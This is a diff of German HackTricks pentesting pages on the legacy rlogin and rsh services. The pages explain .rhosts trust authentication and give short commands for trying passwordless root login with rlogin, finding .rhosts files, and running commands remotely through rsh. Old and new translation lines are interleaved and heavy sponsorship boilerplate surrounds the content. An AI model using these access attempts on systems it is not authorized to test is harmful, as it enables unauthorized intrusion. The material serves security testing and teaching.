* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
</details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Grundlegende Informationen
## Grundinformationen
Früher wurde **rlogin** weitgehend für Aufgaben zur Fernverwaltung genutzt. Aufgrund von Sicherheitsbedenken wurde es jedoch weitgehend durch **slogin** und **ssh** ersetzt. Diese neueren Methoden bieten eine verbesserte Sicherheit für Remote-Verbindungen.
In der Vergangenheit wurde **rlogin** häufig für Aufgaben der Remote-Administration verwendet. Aufgrund von Bedenken hinsichtlich seiner Sicherheit wurde es jedoch weitgehend durch **slogin** und **ssh** ersetzt. Diese neueren Methoden bieten eine verbesserte Sicherheit für Remote-Verbindungen.
**Standardport:** 513
```
@ -33,7 +34,7 @@ PORT STATE SERVICE
# Install client
apt-get install rsh-client
```
Sie können den folgenden Befehl verwenden, um zu versuchen, sich bei einem entfernten Host anzumelden, für den kein Passwort erforderlich ist. Versuchen Sie, **root** als Benutzernamen zu verwenden:
Sie können den folgenden Befehl verwenden, um zu versuchen, sich bei einem Remote-Host anzumelden, bei dem **kein Passwort** für den Zugriff erforderlich ist. Versuchen Sie, **root** als Benutzernamen zu verwenden:
```bash
rlogin <IP> -l <username>
```
@ -48,16 +49,17 @@ find / -name .rhosts
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstütze HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
</details>
{% endhint %}

View file

@ -1,24 +1,25 @@
# 514 - Pentesting Rsh
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories senden.
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
</details>
{% endhint %}
## Grundlegende Informationen
## Grundinformationen
Für die Authentifizierung wurden **.rhosts**-Dateien zusammen mit **/etc/hosts.equiv** von **Rsh** verwendet. Die Authentifizierung hing von IP-Adressen und dem Domain Name System (DNS) ab. Die Möglichkeit, IP-Adressen zu fälschen, insbesondere im lokalen Netzwerk, war eine erhebliche Sicherheitslücke.
Für die Authentifizierung wurden **.rhosts**-Dateien zusammen mit **/etc/hosts.equiv** von **Rsh** verwendet. Die Authentifizierung hing von IP-Adressen und dem Domain Name System (DNS) ab. Die Leichtigkeit, IP-Adressen zu fälschen, insbesondere im lokalen Netzwerk, war eine erhebliche Schwachstelle.
Darüber hinaus wurden die **.rhosts**-Dateien häufig in den Home-Verzeichnissen der Benutzer platziert, die sich oft auf Network File System (NFS)-Volumes befanden.
Darüber hinaus war es üblich, dass die **.rhosts**-Dateien in den Home-Verzeichnissen der Benutzer platziert wurden, die oft auf Network File System (NFS)-Volumes lagen.
**Standardport**: 514
@ -34,16 +35,17 @@ rsh domain\\user@<IP> <Command>
## Referenzen
* [https://www.ssh.com/ssh/rsh](https://www.ssh.com/ssh/rsh)
{% hint style="success" %}
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstütze HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teile Hacking-Tricks, indem du PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
</details>
{% endhint %}